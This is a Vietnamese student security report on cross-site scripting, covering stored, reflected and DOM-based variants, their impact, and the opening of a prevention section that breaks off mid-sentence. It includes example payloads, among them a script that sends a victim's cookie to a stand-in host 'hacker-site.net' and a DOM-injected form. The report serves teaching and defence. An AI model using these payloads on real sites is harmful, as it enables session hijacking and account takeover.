HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA CÔNG NGHỆ THÔNG TIN --------
BÁO CÁO CƠ SỞ AN TOÀN THÔNG TIN ĐỀ TÀI: NGHIÊN CỨU, TRIỂN KHAI TẤN CÔNG KHAI THÁC LỖ HỔNG XSS VÀ CÁCH PHÒNG CHỐNG. Sinh viên thực hiện: Đinh Thị Thu - AT160350 Thiều Mạnh Đức - AT160414 Bùi Đức Thắng - AT160445
Giảng viên hướng dẫn:
Hà Nội 2022
1
Ts. PHẠM DUY TRUNG
LỜI NÓI ĐẦU Trong những năm gần đây cùng với sự bùng nổ của internet kèm theo đó là sự phát triển của World Wide Web. Các doanh nghiệp, cá nhân, và chính phủ đã đưa ra kết luận rằng các trang web hay các ứng dụng web có khả năng cung cấp đầy đủ các giải pháp hiệu quả, đáng tin cậy và có thể giải quyết các thách thức về giao tiếp và tiến hành thương mại hóa trong thê kỷ XX. Nhất là trong thời gian dịch bệnh vừa rồi thì việc chuyển đổi công việc từ trực tiếp qua hình thức online trên các trang web lại càng trở nên mạnh mẽ bởi sự tiện dụng và những ích lợi to lớn mà nó mang lại. Tuy nhiên, đi kèm với sự tiện dụng thì về vấn đề an toàn của các trang web hay các ứng dụng web đã trở nên ngày càng quan trọng và đáng để lưu tâm. Các trang web về giáo dục, y tế, tài chính hay
các dữ liệu nhạy cảm hơn bao giờ hết đang phải đối mặt với nhiều nguy cơ bị tấn công từ các hacker. Tại Việt Nam trong năm vừa qua cũng đã có rất nhiều cuộc tấn công với quy mô lớn bé khác nhau nhắm vào các tổ chức doanh nghiệp làm ảnh hưởng không nhỏ đến tài sản và uy tín của doanh nghiệp đó trên thị trường. Nhiễu lỗ hổng trang web không được kiểm tra kỹ để điều khiển các ứng dụng trên trang web là nguyên nhân để các hacker có thể dựa vào đó tấn cơng. Trong số đó có một loại tấn cơng cực kì nguy hiểm mà các nhà bảo mật luôn cảnh báo người dùng đó là tấn cơng Cross-Site Scripting (hay còn gọi là XSS). Ngồi ra còn có một số dạng tấn công khác như: SQL Injection, Shell Injection, Script language injection, File inclusion, XML injection, XPATH injection.v.v. Trong báo cáo này nhóm xin phép tập trung trình bày về lỗ hổng bảo mật liên quan đến tấn công Cross-Site Scripting, tương quan về các khái niệm, cách thức kẻ tấn công hoạt động, hậu quả nặng nề mà nó đem đến cũng như cách để phòng chống tấn công hiệu quả nhất.
2
MỤC LỤC
3
DANH MỤC HÌNH VẼ CHƯƠNG 1: CHƯƠNG 3 :
THỰC NGHIỆM
GIỚI THIỆU CHUNG
0.1 Tính cấp thiết của đề tài Website ngày nay rất phức tạp và thường là các web động, nội dung của web được cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới. Và hầu hết các website này dùng Cookie để xác thực người dùng. Điều này đờng nghĩa với việc Cookie của ai thì người đó dùng, Nếu lấy được Cookie người dùng nào Hacker sẽ giả mạo được chính người dùng đó (điều này là hết sức nguy hiểm). Vậy làm sao để các hacker có thể lấy cookie của bạn? Có rất nhiều cách để các hacker làm việc đó, ở đây tơi xin trình bày một trong những cách mà hacker thường dùng, đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS). Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một 4
website nào cho phép người sử dụng đăng thông tin mà khơng có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. XSS được thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm được những cơng việc sau: Thay đổi cấu trúc của toàn bộ trang web ,tạo tùy ý các phần tử HTML,định tuyến lại các hình thức liên kết,phục hồi dữ liệu, xác thực,gửi và nhận dữ liệu,đọc các tổ hợp phím 0.2 Mục tiêu thực hiện Nguyên cứu về tấn công XSS cùng các kĩ thuật tấn công ,các cách phòng tránh và thực nghiệm trên môi trường Seedlab Mục tiêu đặt ra khi thực hiện đề tài : Nắm được kỹ thuật tấn công XSS ,mô hình ,phương thức tấn công Phân biệt được 3 loại tấn cơng XSS chính và phương pháp ngăn chặn Demo tấn công XSS
CHƯƠNG 1: GIỚI THIỆU VỀ TẤN CƠNG XSS 1.1. Tìm hiểu XSS
5
Hình 1. 1 Mơ hình tấn cơng XSS
Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu, usename.... Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML. Phương pháp này không nhằm vào máy chủ hệ thống mà chủ ́u tấn cơng trên chính máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript, JavaScript...được thực thi trên chính trình duyệt của nạn nhân
6
1.2
Cơ chế hoạt động tấn công XSS
1.2.1 Bản chất của cuộc tấn công Về cơ bản khi thực hiện tấn công Cross-site scripting thì hacker sẽ thực hiện gửi chèn các lệnh và script độc hại, thường thì các mã script này được viết bằng các ngơn ngữ lập trình phía client như VBScript, ActiveX và Flash (hiện được coi là cũ hoặc thậm chí lỗi thời), nhưng phổ biến nhất vẫn là JavaScript - chủ yếu vì JavaScript là nền tảng cho hầu hết các trải nghiệm duyệt web. XSS hoạt động bằng cách điều khiển một trang web dễ bị tấn công để trả về JavaScript độc hại cho người dùng. Khi mã độc được thực thi bên trong trình duyệt, hacker hồn tồn có thể xâm nhập vào tài khoản và sử dụng dữ liệu của người dùng vào mục đích cá nh
1.2.2 Quá trình thực hiện tấn công Để chạy được code JavaScript độc hại trong trình duyệt của nạn nhân, trước tiên, kẻ tấn công phải tìm cách truyền payload vào trang web mà nạn nhân truy cập. Tất nhiên, kẻ tấn cơng có thể sử dụng các kỹ thuật social engineering để thuyết phục người dùng truy cập trang đã bị tấn cơng đó. Để một cuộc tấn công XSS diễn ra, trang web bị tấn công cần trực tiếp bao gồm đầu vào của người dùng trong các trang của mình. Kẻ tấn cơng sau đó có thể chèn một chuỗi sẽ được sử dụng trong trang web và được xử lý dưới dạng code bởi trình duyệt nạn nhân. Mã giả phía máy chủ (server-side pseudo-code) này được sử dụng để hiển thị bình luận gần đây nhất trên trang web: print "<html>" print "
Most recent comment
" print database.latestComment print "</html>"
7
Tập lệnh sẽ in ra bình luận mới nhất từ cơ sở dữ liệu và in nội dung ra trang HTML, giả sử rằng bình luận được in ra chỉ bao gồm phần văn bản. Trang trên dễ bị tấn công bởi XSS vì kẻ tấn cơng có thể gửi nhận xét có chứa payload độc hại, chẳng hạn như: <script>doSomethingEvil();</script>. Người dùng truy cập trang web sẽ được hiển thị trang HTML sau: <html>
Most recent comment
<script>doSomethingEvil();</script> </html>
Khi trang load trong trình duyệt của nạn nhân, tập lệnh độc hại của kẻ tấn công sẽ thực thi, mà người đó khơng hề hay biết và cũng khơng thể ngăn chặn cuộc tấn công này. Lưu ý: Lỗ hổng XSS chỉ có thể tờn tại nếu payload (tập lệnh độc hại) mà kẻ tấn cơng chèn vào được phân tích (thành HTML như trong trường hợp trên) trong trình duyệt của nạn nhân.
8
1.3. Hình thức tồn tại của XSS 1.3.1. Stored XSS
Hình 1. 2 Mơ hình tấn cơng Stored XSS
Stored XSS là hình thức tấn cơng mà ở đó cho phép kẻ tấn cơng có thể chèn một đoạn script nguy hiểm (thƣờng là Javascript) vào website của chúng ta thông qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài..), để từ đó khi các thành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn cơng này, các mã độc
này thường được lưu lại trong database của website chúng ta nên gọi là Stored. Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn, khiến cho mã độc được lưu vào Database của website.
9
1.3.2 Reflected XSS
Hình 1. 3 Mơ hình tấn cơng Reflected XSS
Trong hình thức này, kẻ tấn công thường gắn thêm đoạn mã độc vào URL của website chúng ta và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính mã độc. Điều này xảy ra do ta không chú ý filter input từ URL của website mình. Tấn công XSS là tấn công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên máy nạn nhân thông qua javascript như ăn cắp cookie, chèn mã độc để chiến quyền điều khiển... XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi này, chính vì thế ngày càng có nhiều người quan tâm đến lỗi này. Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web khơng an tồn đã được xác định vào năm ngoái, và trang Xssed.com đưa ra danh sách gần 13.000 trang trong đó có nhiều lỗ hổng cross-site scripting (XSS). 1.3. Mức độ nguy hiểm của XSS Theo thống kê về các lỗ hổng bảo mật thường bị tấn công nhất vào năm 2009
10
Hình 1. 4 Thống kê những lỗ hổng phổ biến nhất
Cross-Site Scripting (XSS) chiếm một tỉ lệ rất cao so với các phương pháp tấn công khác. Kĩ thuật XSS được mô tả lần đầu tiên cách đây 5 năm (từ năm 2007 đến 2011) và hầu hết các khả năng tiềm ẩn của kĩ thuật này đã được biết đến. Tuy nhiên chúng ta mới chỉ khắc phục được một phần của nó. Khơng phải vơ tình mà Yahoo Mail lại để sót một lỗi XSS trong bộ lọc của mình. Một phương pháp tối ưu vẫn còn đang ở phía trước Kẻ tấn cơng tiến hành khai thác lỗ hổng XSS trên nhiều trang web sẽ đem lại hậu quả rất nặng nề: • • • • • •
Mạo danh hoặc giả dạng người dùng của nạn nhân. Thực hiện bất kỳ hành động nào mà người dùng có thể thực hiện. Đọc bất kỳ dữ liệu nào mà người dùng có thể truy cập. Nắm bắt thông tin đăng nhập của người dùng. Thực hiện thay đổi bề mặt ảo của trang web. Chèn trojan độc hại vào trang web.
Đặc biệt trong thực tế một cuộc tấn công XSS diễn ra còn phụ thuộc vào bản chất của ứng dụng, chức năng, dữ liệu cũng như trạng thái của người dùng bị xâm phạm. Ví dụ:
11
• Trong một ứng dụng brochureware, nơi tất cả người dùng đều xuất hiện ẩn danh thì khi một cuộc tấn cơng XSS xảy ra nó có thể sẽ làm tất cả thơng tin người dùng bị cơng khai. Từ đó dẫn đến lộ danh tính của người dùng. • Trong một ứng dụng chứa các thông tin bảo mật như giao dịch ngân hàng, email hoặc hờ sơ chăm sóc sức khỏe, tấn công XSS sẽ gây ra những hậu quả nghiêm trọng về cả tài sản lẫn độ uy tín của doanh nghiệp. • Nếu người dùng bị xâm phạm có các đặc quyền nâng cao trong ứng dụng, thì sẽ ảnh hưởng rất nghiêm trọng. Cho phép hacker có tồn quyền kiểm sốt ứng dụng dễ bị tấn công và xâm phạm tất cả người dùng và dữ liệu của họ.
1.4. Mục tiêu mà XSS hướng tới.
Hình 1. 5 Mục tiêu mà XSS hướng tới
XSS khai thác thường được sử dụng để đạt được các kết quả độc hại sau đây: * Truy cập thông tin nhạy cảm hoặc bị hạn chế * Ăn cắp tiền (giao dịch ngân hàng, mua hàng online....) * Theo dõi thói quen lướt web của người dùng * Thay đổi năng của trình duyệt * Bôi nhọ danh tiếng của một cá nhân hay công ty * Hủy hoại ứng dụng Web. * Tấn công từ chối dịch vụ 12
...
13
CHƯƠNG 2: CÁC LOẠI TẤN CÔNG XSS 2.1 Phân loại các cuộc tấn công XSS 2.1.1 Reflected XSS Reflected XSS là hình thức tấn công được sử dụng nhiều nhất. Đây là nơi mã script độc hại đến từ HTTP request. Từ đó, hacker đánh cắp dữ liệu của người dùng, chiếm quyền truy cập và hoạt động của họ trên website thông qua việc chia sẻ URL chứa mã độc. Hình thức này thường nhắm đến một khối ít nạn nhân.
Hình 2. 1 : Hình thức tấn cơng Reflected XSS
Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của họ trên website. Chi tiết được mô tả qua những bước sau:
Kịch bản tấn công Reflected XSS. 14
Hình 2. 2 Kịch bản tấn cơng Reflected XSS
Chi tiết từng bước thực hiện: Người dùng đăng nhập web và giả sử được gán session:
Bằng cách nào đó, hacker gửi được cho người dùng URL:
/>+i.src=” /> Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang
của hacker tạo ra. Nạn nhân truy cập đến URL trên. Server phản hời cho nạn nhân, kèm với dữ liệu có trong request (đoạn
javascript của hacker). 15
Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript. Đoạn javascript mà hacker tạo ra thực tế như sau:
var i=new Image; i.src= +document.cookie;
Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng: GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1
Host: hacker-site.net Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có. 2.1.2 Stored XSS Stored XSS là loại tấn cơng cross-site scripting gây thiệt hại nhiều nhất. Kẻ tấn công truyền một tập lệnh - còn được gọi là payload - được lưu trữ vĩnh viễn trên ứng dụng đích, chẳng hạn như cơ sở dữ liệu. Ví dụ: kẻ tấn cơng chèn một đoạn mã độc trên blog, trong một bài đăng trên diễn đàn hoặc trong trường bình luận. Lúc này Payload XSS sẽ đóng vai trò như một phần của trang web khi nạn nhân điều hướng đến trang web bị ảnh hưởng trong trình duyệt. Khi nạn nhân xem trang trên trình duyệt sẽ vô tình thực thi tập lệnh độc hại.
16
Hình 2. 3 Mơ hình tấn cơng Stored XSS
Stored XSS khác với Reflected XSS, hình thức này nhắm đến nhiều nạn nhân cùng lúc. Đây là nơi script độc hại đến từ cơ sở dữ liệu của trang web. Hacker chèn các mã độc vào cơ sở dữ liệu thông qua các dữ liệu đầu vào như input, form… Khi người dùng truy cập và tiến hành những thao tác liên quan đến dữ liệu đã lưu thì mã độc sẽ lập tức hoạt động trên trình duyệt. Với kỹ thuật Stored XSS, hacker không khai thác trực tiếp mà phải thực hiện tối thiểu qua 2 bước. Bước đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.
17
Tiếp sau đó, khi mà người dùng truy cập vào ứng dụng web và thực hiện các thao tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi trên trình duyệt người dùng.
Kịch bản khai thác:
18
Hình 2. 4 Kịch bản tấn cơng Stored XSS
19
2.1.3 DOM BASED XSS
Hình 2. 5 Kịch bản tấn cơng DOM -based XSS
DOM-based XSS là một loại tấn công XSS nâng cao có thể thực hiện được khi tập lệnh phía máy khách của ứng dụng web ghi dữ liệu do người dùng cung cấp vào Document Object Model (DOM). Sau đó, ứng dụng web sẽ đọc dữ liệu từ DOM và gửi nó đến trình duyệt. Nếu dữ liệu khơng được xử lý chính xác, kẻ tấn cơng có thể đưa ra payload được lưu trữ như một phần của DOM. Payload sau đó sẽ thực thi khi dữ liệu được đọc lại từ DOM. Khác với hai loại tấn công kể trên thì DOM-based XSS tiến hành khai thác lỗ hổng bảo mật tồn tại trong mã phía client chứ khơng phải mã phía server. Hình 20
thức này dùng để khai thác XSS dựa vào việc thay đổi HTML của tài liệu, hay nói cách khác là thay đổi cấu trúc DOM. Phân tích cụ thể một ví dụ: Một website có URL đến trang đăng ký như sau: fill in the form Khi truy cập đến thì chúng ta thấy một Form rất bình thường:
Thay vì truyền :
message=Please fill in the form
Thì truyền : message=<label>Gender</label> <select class = "form-control" onchange="java_script_:show()">value="Male">Male</option>value="Female">Female</option></select> <script>function show(){alert();}</script>
Khi đấy form đăng ký sẽ trở thành như thế này:
21
Người dùng sẽ chẳng chút nghi ngờ với một form “bình thường” như thế này, và khi lựa chọn giới tính, Script sẽ được thực thi:
Đây là một kiểu tấn công nguy hiểm và rất dễ xảy ra do hacker hướng đến mục tiêu là máy bên phía client chứ khơng phải là tấn công từ bên server. Với lượng kiến thức hạn chế trong phòng chống các cuộc tấn công và sự thiếu cảnh giác từ người dùng nên đây sẽ là mục tiêu được kẻ tấn cơng cực kì u thích hướng đến. 2.1.4 So sánh các loại tấn công XSS 2.1.4.1 So sánh tấn công Reflected XSS và Stored XSS
22
• Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy
cập vào URL của mình. Còn Stored XSS không cần phải thực hiện việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này là
hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễm độc. • Thứ hai, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web. Với Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi, và nhiều khả năng là những chức năng này yêu cầu phải xác thực (đăng nhập) trước nên hiển nhiên trong thời gian này người dùng vẫn đang trong phiên làm việc. 23
Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng web đó. Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền điều khiển web. 2.1.4.2 So sánh tấn công Reflected XSS và DOM- based XSS
Reflected
DOM-based
Payload (tải trọng) của kẻ tấn công là là một loại XSS nâng cao xảy ra bằng một phần của yêu cầu được gửi đến máy cách ghi dữ liệu vào Mô hình đối tượng chủ web
tài liệu (DOM). Tải trọng được thực thi bằng mã phía
front-end sau khi JavaScript hợp pháp của chính trang web được thực thi
Tải trọng thường được phân phối qua Tải trọng thường được phân phối qua URL
URL (Reflected) hoặc được lưu trữ (Stored)
2.1.5 Kết luận: Nhìn chung ở ba kiểu tấn cơng có thể thấy mục đích mà hacker muốn nhắm đến chính là việc chiếm đoạt các phiên làm việc của người dùng, truy cập được vào cơ sở dữ liệu và chiếm quyền của nạn nhân trên webite. Ở mỗi kiểu tấn cơng có thể nhận thấy sự khác biệt ở kĩ thuật, cách triển khai cũng như nạn nhân mà kẻ tấn công muốn cùng lúc nhắm tới. 24
Mặt khác, nhìn về độ nguy hiểm và phổ biến của các cuộc tấn cơng XSS có thể sẽ tạo nên cảm giác thiếu tin cậy và mất an toàn khi người dùng truy cập vào các website. Tuy nhiên, XSS nguy hiểm nhưng cũng rất dễ để nhận biết và có thể đưa ra phương án phòng chống một cách hợp lí. Kiểu tấn công này là một trong những kiểu tấn công có nhiều nguy hiểm và rủi ro nhất. Tuy nhiên, vẫn có rất nhiều cách để ngăn chặn tấn cơng này. Phương pháp ngăn chặn tấn cơng XSS bao gờm: • Data validation. • Filtering. • Escaping. 2.2
Biện pháp phịng chống tấn cơng
Một báo cáo năm 2019 của Positive Technologies cho thấy 3/4 trang web dễ bị tấn cơng XSS. Ngồi ra, một nửa số ứng dụng web có vấn đề về kiểm sốt truy cập và một phần ba dễ bị chèn mã. Thiệt hại tiềm tàng từ một cuộc tấn cơng như vậy có thể khơng thể khắc phục được. Một báo cáo gần đây cho thấy người tiêu dùng quan tâm hơn đến việc bảo vệ thông tin cá nhân của họ so với trước đây rất nhiều . Hơn 8 trong số 10 người nói rằng họ sẽ ngừng tương tác với một thương hiệu trực tuyến sau khi bị vi phạm dữ liệu Chính vì vậy ,phịng chống ,ngăn chặn tối đa các loại tấn cơng nói chung và tấn cơng XSS nói riêng là vơ cùng quan trọng đối với sự phát triển của tổ chức
Mấu chốt của kĩ thuật tấn công XSS nằm ở chỗ hiển thị các nội dung được nhập vào ở phía client, vậy nên việc kiểm xoát chặt chẽ dữ liệu nhập vào của người dùng cũng như mọi thứ được nhập bởi người dùng phải được xác thực chính xác . Kiểm xốt dữ liệu được coi là cơ sở để đảm bảo tính an tồn của hệ thống 2.2.1 Data validation
Xác thực đầu vào đảm bảo việc ứng dụng hiển thị dữ liệu chính xác và ngăn dữ liệu độc hại gây hại cho trang web, cơ sở dữ liệu và người dùng. Xác thực đầu 25